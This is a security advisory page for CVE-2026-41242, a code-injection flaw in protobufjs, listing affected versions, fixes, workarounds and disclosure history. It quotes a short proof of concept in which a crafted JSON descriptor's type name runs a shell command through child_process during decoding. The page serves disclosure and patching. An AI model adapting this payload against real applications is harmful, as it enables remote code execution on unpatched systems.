CVE-2026-41242: Arbitrary code execution in protobufjs

Published Apr 16, 2026
·
Updated

Summary

protobufjs could execute generated JavaScript code derived from protobuf schema metadata. When loading a crafted JSON descriptor, schema-controlled type names and type references could reach runtime code generation without sufficient validation.

Impact

An attacker who can provide a malicious protobuf definition or JSON descriptor to an application may be able to execute arbitrary JavaScript in the context of the process using protobufjs.

This requires control over the protobuf schema or descriptor being loaded. Applications that only decode messages using trusted, application-defined schemas are not directly affected by this issue.

Preconditions

- The application must allow an attacker to control or influence a protobuf definition or JSON descriptor. - The application must load that definition through protobufjs reflection APIs such as descriptor loading. - The affected generated-code path must be reached, for example by performing an operation on the loaded type.

Workarounds

Do not load protobuf definitions or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.

Other sources

Summary protobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.

Details Attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition.

PoC js const protobuf = require('protobufjs'); maliciousDescriptor = JSON.parse({"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console.log(process.mainModule.require('childprocess').execSync('id').toString())};\\nfunction X","id":2}}},"Data(){console.log(process.mainModule.require('childprocess').execSync('id').toString())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}) const root = protobuf.Root.fromJSON(maliciousDescriptor); const UserType = root.lookupType("User"); const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]); try { const user = UserType.decode(userBytes); } catch (e) {}

Impact Remote code execution when attackers can control the protobuf definition files.

— GitHub

protobufjs compiles protobuf definitions into JavaScript (JS) functions. In versions prior to 8.0.1 and 7.5.5, attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition. Versions 8.0.1 and 7.5.5 patch the issue.

— IBM

protobufjs compiles protobuf definitions into JavaScript (JS) functions. In versions prior to 8.0.1, 7.5.5, and 6.11.6, attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition. Versions 8.0.1, 7.5.5, and 6.11.6 patch the issue.

— MITRE

Affected Software

8 affected componentsFixes available
npm/protobufjs<8.0.1, <7.5.5
npm/protobufjs<7.5.5
7.5.5
npm/protobufjs>=8.0.0<8.0.1
8.0.1
IBM Concert Software<=1.0.0-3.0.0
Protobufjs Project Protobufjs Node.js<7.5.5
Protobufjs Project Protobufjs Node.js=8.0.0
npm/protobufjs>=7.0.0<7.5.5
7.5.5
npm/protobufjs<6.11.6
6.11.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/protobufjs to a version that resolves this vulnerability.

    Fixed in 7.5.5
  2. Upgrade

    Upgrade npm/protobufjs to a version that resolves this vulnerability.

    Fixed in 8.0.1
  3. Upgrade

    Upgrade npm/protobufjs to a version that resolves this vulnerability.

    Fixed in 6.11.6
  4. Upgrade

    Upgrade protobufjs to a version that resolves this vulnerability.

    Fixed in 8.0.1
  5. Upgrade

    Upgrade protobufjs to a version that resolves this vulnerability.

    Fixed in 7.5.5
  6. Upgrade

    Upgrade protobufjs to a version that resolves this vulnerability.

    Fixed in 6.11.6
  7. Compensating control

    Do not load protobuf definitions or JSON descriptors from untrusted sources. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.

Event History

Apr 16, 2026
Advisory Published
via GitHub·10:34 PM
Data Sourced
via GitHub·10:34 PM
DescriptionWeaknessAffected Software
Data Sourced
via OSV·10:34 PM
DescriptionSeverityWeaknessAffected Software
Apr 18, 2026
CVE Published
via MITRE·04:18 PM
Data Sourced
via MITRE·04:18 PM
DescriptionWeakness
Data Sourced
via Red Hat·05:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·05:16 PM
DescriptionSeverityWeakness
Apr 20, 2026
News Published
via The Hacker News·01:41 PM
Exploit Published
via CISA·04:03 PM
Apr 23, 2026
Data Sourced
via NVD·03:26 PM
RemedyAffected Software
Updated
via NVD·03:26 PM
Severity
Apr 26, 2026
Exploit Published
via GitHub·04:48 PM
Jun 30, 2026
Updated
via NVD·03:19 AM
SeverityWeakness
Sep 22, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Nov 3, 2026
Updated
via MITRE·04:07 PM
Description
Updated
via NVD·05:18 PM
Description
Nov 4, 2026
Updated
via OSV·05:28 PM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-41242?

CVE-2026-41242 is classified as a critical vulnerability due to its potential for arbitrary code execution.

2

How do I fix CVE-2026-41242?

To mitigate CVE-2026-41242, upgrade protobufjs to version 8.0.1 or 7.5.5 or later.

3

What versions are affected by CVE-2026-41242?

CVE-2026-41242 affects versions of protobufjs prior to 8.0.1 and 7.5.5.

4

What type of vulnerability is CVE-2026-41242?

CVE-2026-41242 is an arbitrary code execution vulnerability.

5

How does CVE-2026-41242 exploit occur?

CVE-2026-41242 allows attackers to inject arbitrary code via the 'type' fields in protobuf definitions during object decoding.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203